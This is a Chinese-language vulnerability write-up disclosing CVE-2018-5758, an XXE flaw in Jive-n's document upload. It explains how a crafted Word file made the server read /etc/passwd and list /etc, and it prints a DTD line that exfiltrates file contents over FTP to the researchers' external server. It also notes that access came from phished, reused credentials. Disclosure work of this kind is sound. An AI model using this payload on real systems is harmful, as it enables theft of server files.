写在前面的话
很多渗透测试人员会对各种各样不同的服务以及应用程序进行安全测试,但他们往往会忽略自己的产品和服务。在这种情况下,他们就可能成为攻击者的首要目标,毕竟“最危险的地方就是最安全的”。在这篇文章中,我们将介绍一个我们在Jive Software的Jive-n平台中发现的一个XML外部实体注入(XXE)漏洞-CVE-2018-5758。(文中传送门及下载地址请点击阅读原文查看)
Rhino安全实验室的研究人员近期在企业员工内网通信软件Jive-n中发现了一个XML外部实体注入(XXE)漏洞,该漏洞存在于应用程序的文件上传功能中,通过上传一个嵌入了XXE Payload的微软Word文档,攻击者将能够读取目标操作系统中的任何文件和文件夹内容。
这种攻击的影响非常严重,因为Jive-n其中的一个重要功能就是帮助用户跟网络中其他用户上传/共享文件,如果你不了解XXE漏洞的话,可以参考我们之前的文章【传送门】或OWASP给出的定义【传送门_Processing)】。
Jive-n是Jive Software旗下的一款产品,这款内网社交通信软件可以帮助企业员工之间通过内网进行交互。它既可以作为SaaS产品使用,也可以作为内部/自托管应用程序来使用。在我们的研究过程中,我们在Jive-n中发现了一个已激活的实例,但这个实例并没有激活使用。我们在一次钓鱼活动中获取到了登录凭证(密码复用),所以我们可以直接登录到这款App。
Jive-n其中的一个功能就是上传文件并与内网中其他员工共享。在公开已上传文件之前,应用程序会尝试在页面中通过一个Flash对象来显示文件内容。在使用普通的微软office文档进行了初始测试之后,我们认为这里可能存在XXE漏洞。
Payload首先使用了目标系统中一份本地文件路径定义了一个XML实体,然后使用一个外部实体来向我们的外部服务器发送一个HTTP请求。我们的服务器将会以文档类型定义(DTD)响应,然后命令应用程序服务器使用FTP协议向我们的外部服务器发送之前定义的XML实体(指向本地文件)。我们可以使用这个名叫“oxml_xxe”的软件【下载地址】完成这部分操作,我们的目标文件为:file:///etc/passwd。
在我们的XXE服务器(由Rhino安全研究人员开发-【传送门】)上,我们设置了一个HTTP监听器(端口80)和一个FTP监听器(端口8080),并准备正确处理传入的请求。我们所使用的DTD如下:
<!ENTITY % all "<!ENTITY send SYSTEM'ftp://our-external-server.com:8080/%file;'>">
%all;
我们的目标应用近期好像没有进行过多的操作,所以我们准备上传一个“隐藏”文件,这份Word文件不会暴露给应用程序的所有用户。Jive-n其中的一个功能就是允许用户在发布该文件之前浏览已上传文件的内容,它使用了Flash来尝试在浏览器中呈现已上传的微软Office文档内容,包括Word、Excel和PowerPoint。
一开始我们上传了恶意文档,并使用“保存草稿”功能来尝试让Jive-n呈现文档内容。虽然没有成功,但是Jive-n显示了一条错误信息以及一个“查看”或“下载”文件的选项。
一般来说,XML在这里就应该得到解析并执行Payload了,但是我们发现这里并不是这样。实际上,我们的服务器一直都没有收到请求,直到我们点击上图中的“View”(查看)选项。点击之后,Payload成功执行了,而文件内容也发送到了我们的XXE服务器上。
上图中主要发生了三件事情:
我们还发现,通过请求路径file:///etc/,我们可以获取到etc目录中的目录列表。
Jive-n的管理员可以使用反病毒软件来对用户上传的文件进行扫描,但是这种方法还不能保证是否能够检测到某些专门制作的Payload(未测试)。不过,反病毒产品可以检测到带外连接、操作系统文件被读取、或者FTP协议被使用等情况。在使用反病毒产品以及禁用XML外部实体的情况下,这种攻击的影响是可以缓解的。
根据厂商提供的信息,最新版本软件即服务形式的Jive-n已经修复了这个XXE注入漏洞,并禁用了远程DTD的访问,现在程序的XML解释器已经不会再处理外部实体了,因此SaaS版本的Jive-n用户将不会再受到该漏洞的影响。